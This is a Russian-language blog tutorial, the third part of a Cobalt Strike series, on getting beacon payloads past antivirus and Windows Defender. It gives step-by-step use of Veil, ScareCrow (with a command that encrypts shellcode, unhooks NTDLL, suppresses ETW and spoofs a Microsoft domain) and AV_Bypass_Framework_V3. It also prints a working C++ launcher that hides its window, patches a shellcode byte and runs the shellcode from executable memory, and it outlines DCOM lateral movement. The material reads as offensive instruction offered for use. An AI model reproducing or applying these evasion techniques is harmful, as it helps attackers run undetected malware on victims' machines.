Cobalt Cobalt Strike Windows антивирусы

Обфускация Cobalt Strike для самых маленьких. Часть 3. Уходим от обнаружения 

Обфускация Cobalt Strike для самых маленьких. Часть 3. Уходим от обнаружения 

Эта статья является продолжением обзоров/гайдов Cobalt Strike, в ней речь пойдёт о шифровании пейлоада и уклонении от антивирусов. Ознакомится с прошлыми частями можно тут. Про способы доставки полезной нагрузки можно узнать тут.

Veil-Framework

Начнём с достаточно старого фреймворка – Veil-Framework (скачать можно тут), это инструмент для создания исполняемых файлов с полезной нагрузкой, который поможет обойти обычные антивирусные решения. Функций у данного фреймворка очень много, но мы разберём лишь основные из них. 

Сначала нужно сгенерировать пейлоад с кобы, для этого заходим в Attacks -> Packages -> Payload Generator: 

В окне генерации пейлоада выбираем Veil: 

Нажимаем ОК и указываем путь, куда кобальт сохранит полезную нагрузку: 

Теперь мы можем запустить Veil, для этого используем команду python3 Veil.py

Выбираем первый пункт (Evasion) командой use 1

Далее выбираем пейлоад из списка (для примера возьмём python/shellcode_inject/flat.py ): 

Теперь необходимо создать exe файл, для этого вводим generate и указываем пейлоад из кобы, после этого выбираете чем создать exe (можно просто пропустить, по умолчанию используется PyInstaller): 

В конце работы Veil сообщит место с пейлоадом: 

Передаём файл на тестовую машину и запускаем его: 

Спустя несколько секунд мы получим коннект в кобе: 

Если вам интересно, как и с чем ещё можно использовать Veil, то вы можете почитать доклад из NCECA 2021, в нём разобрано создание бэкдора с использованием Metasploit. 

Меняем байты

Ещё один способ уйти от обнаружения Windows Defender – поменять один или несколько байтов из пейлоада кобальта. 

Как и в случае с Veil нам необходимо создать пейлоад, делаем всё тоже самое, но в output выбираем C (если пейлоад для x86 не сработает, то стоит попробовать x64): 

Теперь поместим полученный нами шелл-код в “лаунчер”, который напишем на C++. Работать он будет примерно так: 

  1. Изменяем \xfc на любое другое байтовое значение (как пример можно использовать \xfd); 
  1. Сохраняем правильный первый байт \xfc в переменной first; 
  1. Перед копированием полного шелл-кода во вновь выделенную память замените плохой байт \xfd на хороший \xfc; 
  1. Запускаем шеллкод. 

Код: 

#include “Windows.h” 

int main(int argc, char *argv[]) { 

::ShowWindow(::GetConsoleWindow(), SW_HIDE); 

  unsigned char shellcode[] = “\xfd\ШЕЛЛКОД_КОБАЛЬТА”; 

char first[] = “\xfc”; 

void *exec = VirtualAlloc(0, sizeof shellcode, MEM_COMMIT, PAGE_EXECUTE_READWRITE); 

memcpy(shellcode, first, 1); 

memcpy(exec, shellcode, sizeof shellcode); 

((void(*)())exec)(); 

return 0; 

Скомпилировать код можно в Codeblocks, для этого нужно нажать на кнопку build: 

После запуска скомпилированного exe в кобу должен постучать наш хост: 

ScareCrow

ScareCrow описывается как “платформа для создания полезной нагрузки”. Вы можете прочитать все о том, как это работает здесь. Если говорить кратко, то мы генерируем шелл-код из программного обеспечения по нашему выбору (Cobalt Strike, Metasploit, PoshC2 и т. д.) и передаём его в ScareCrow, чтобы вернуть загрузчик, который будет реализовывать некоторые распространенные методы уклонения от АВ. ScareCrow берет ваш “необработанный” шелл-код и шифрует его с помощью AES, что позволяет избежать статического обнаружения на диске, когда продукт защиты сканирует созданный вами загрузчик. Защитник Windows довольно хорошо распознает шелл-код маяка Cobalt Strike, поэтому этот шаг имеет решающее значение. 

После выполнения сгенерированного загрузчика он обойдет хуки АВ на NTDLL.DLL загрузив чистую копию NTDLL.DLL (а также kernel32.dll и kernelbase.dll) с диска и заменит его подключенным в вашем пространстве процессов. После он использует системные вызовы для загрузки, расшифровки и запуска вашего шелл-кода в памяти. Использование сисколов – отличный способ избежать перехватов и мониторинга поведения. Я не буду здесь вдаваться в подробности, вы можете прочитать больше о том, как это работает в репозитории GitHub

Для создания первоначального пейлоада нужно перейти в Attacks -> Packages -> Windows Executable (S): 

Теперь нужно клонировать репозиторий ScareCrow и следовать инструкциям по установке в README, а также установить несколько зависимостей, таких как golang, mingw-w64 и т. Д. 

Команда для запуска фреймворка: 

./ScareCrow -I /path/to/your/payload.bin – noetw -domain www.microsoft.com 

Домен можете использовать любой, который вы захотите, -etw предотвращает создание событий ETW. После запуска команды ScareCrow возьмет ваш шелл-код, зашифрует его и сгенерирует файл .exe: 

После запуска exe, дефендер пропустит пейлоад, а мы получим коннект к кобе: 

AV_Bypass_Framework_V3

При выполнении инъекции DLL требуются два компонента. PE с шеллкодом и загрузчик. Загрузчик обычно представляет собой код, который загружает вредоносную библиотеку DLL в память цели и вызывает нужные функции из библиотеки DLL. PE в нашем случае вредоносная библиотека DLL, которая будет загружена в память цели с помощью загрузчика и выполнена для запуска желаемой полезной нагрузки. 

Как вы можете судить по названию, у этого инструмента есть несколько версий. Идея состояла в том, чтобы автоматизировать создание вредоносной библиотеки DLL, которую затем можно было бы внедрить в память цели для запуска полезной нагрузки. 

Инструмент AV_Bypass_Framework_V3 принимает строку кода в кодировке base64 в формате C# и выдает DLL и загрузчик PowerShell, которые можно использовать в ваших целях. Это можно сделать следующим образом: 

AV_Bypass_Framework_V3.exe ПУТЬ_К_Б64_ШЕЛЛКОДУ 

Для создания нужного нам шеллкода необходимо использовать скрипт CCSG (https://github.com/RCStep/CSSG), после его установки вы увидите в панели сверху меню Shellcode: 

Теперь у нас есть шеллкод, который подходит для AV_Bypass_Framework, запускаем утилиту и получаем зашифрованный пейлоад: 

Что делать с DLL дальше? Вариантой много, но мы рассмотрим только два: 

  1. Мы можем воспользоваться инжектором dll, который писали тут
  1. Использовать dcom_av_exec.  

DCOM_AV_EXEC позволяет осуществлять “бездисковое” боковое перемещение к цели в той же сети через DCOM. Чтобы использовать DCOM_AV_EXEC, вам необходимо иметь разрешения локального администратора для цели (например, это может быть с помощью украденного/созданного токена на вашем текущем маяке Cobalt Strike или, например, при наличии существующего сеанса в качестве локального администратора на вашем маяке, который также имеет эквивалентные разрешения для пользователя целевого домена с правами локального администратора на обеих машинах). 

В зависимости от механизмов обнаружения, присутствующих в целевой сети, боковое перемещение DCOM может быть полезным. Такие инструменты, как psexec или wmiexec, являются шумными и часто отслеживаются. Боковое движение DCOM все еще может остаться незамеченным при правильных обстоятельствах. 

Как использовать DCOM_AV_EXEC? 

Об этом мы расскажем в следующих статьях.

Выводы

Избегайте размещения чего-либо на диске. Поскольку по умолчанию АВ-решение со сканированием в реальном времени будет анализировать файл на предмет вредоносного содержимого. 2) Шифрование или кодирование шелл-кода имеет большое значение, так как вредоносный шелл-код в обычном формате будет обнаружен. Будь то в памяти или на диске. 3) Найдите способ запускать ваши функции только при вызовах определенных частей кода, а не как часть основного метода – это может помочь обмануть эвристику. 

f4r6er
f4r6er Script kiddie, red teamer, Python lover.

Leave a Reply

Your email address will not be published. Required fields are marked *